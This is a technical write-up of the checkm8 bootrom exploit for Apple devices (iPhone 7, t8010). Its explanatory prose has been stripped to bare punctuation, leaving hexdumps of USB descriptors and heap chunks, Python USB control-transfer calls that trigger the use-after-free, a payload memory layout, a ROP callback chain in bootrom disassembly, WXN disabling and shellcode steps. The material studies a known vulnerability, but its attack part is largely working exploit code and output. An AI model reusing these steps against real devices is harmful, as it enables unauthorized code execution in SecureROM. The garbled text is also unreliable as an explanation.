1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
, High Speed
Full Speed
, IO
-. , , , . , .
2. IO-
device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)
OUT
- . , io_buffer
. DFU
DFU_CLR_STATUS
, DFU
.
3. usb_device_io_request
use-after-free
device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
usb_device_io_request
t8010_overwrite
, .
t8010_nop_gadget
0x1800B0800
callback
next
usb_device_io_request
.
t8010_nop_gadget
, , LR
, - free
callback
- usb_core_complete_endpoint_io
. , , .
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
next
INSECURE_MEMORY + 0x800
. INSECURE_MEMORY
, 0x800
callback-chain
, .
4.
for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
. :
0x1800B0000: t8010_shellcode # shell-code ... 0x1800B0180: t8010_handler # usb- ... 0x1800B0400: 0x1000006a5 # # SecureROM (0x100000000 -> 0x100000000) # ... 0x1800B0600: 0x60000180000625 # # SecureRAM (0x180000000 -> 0x180000000) # 0x1800B0608: 0x1800006a5 # # 0x182000000 0x180000000 # 0x1800B0610: disabe_wxn_arm64 # WXN 0x1800B0800: usb_rop_callbacks # callback-chain
5. callback-chain
dfu.usb_reset(device) dfu.release_device(device)
USB
usb_device_io_request
. , callback
. :
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
, 0x70
. f(x)
f
x
.
, Unicorn Engine
. uEmu .

iPhone 7
.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET
. , .
5.2. dmb
0000000100000478: DMB SY 000000010000047C: RET
, , . , , .
5.3. enter_critical_section()
.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
0x1800B0000
. INSECURE MEMORY
, . , :
... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...
5.5. tlbi
0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET
, .
5.6. 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET
WXN
(Write permission implies Execute-never), RW
. WXN
- .
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
. BootROM
, INSECURE_MEMORY
.
5.8 tlbi
.
5.9. exit_critical_section()
.
5.10. 0x1800B0000
shellcode
.
, callback-chain
— WXN
shellcode
RW
-.
6. shellcode
shellcode
src/checkm8_arm64.S
:
6.1. USB
-
usb_core_hs_configuration_descriptor
usb_core_fs_configuration_descriptor
, . . USB
-, shellcode
.
6.2. USBSerialNumber
- , " PWND:[checkm8]"
. , .
6.3. USB
-
USB
- , .
6.4. USB
- TRAMPOLINE
( 0x1800AFC00
)
USB
- wValue
0xffff
, , . , : memcpy
, memset
exec
( ).
.
USB
Proof-of-Concept checkm8
Arduino
Usb Host Shield
. PoC iPhone 7
, . iPhone 7
DFU
Usb Host Shield
, PWND:[checkm8]
, USB
- ipwndfu ( , - ..). , , USB
-. USB_Host_Shield_2.0 . , patch- .
. checkm8
. , . jailbreak-. , jailbreak checkm8
— checkra1n . , jailbreak ( A5
A11
) iOS
. iWatch
, Apple TV
. , .
jailbreak, Apple. checkm8
verbose- iOS
, SecureROM
GID
- . , , JTAG/SWD . , , . , checkm8
, Apple
.
Referencias
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- ipwndfu LinusHenze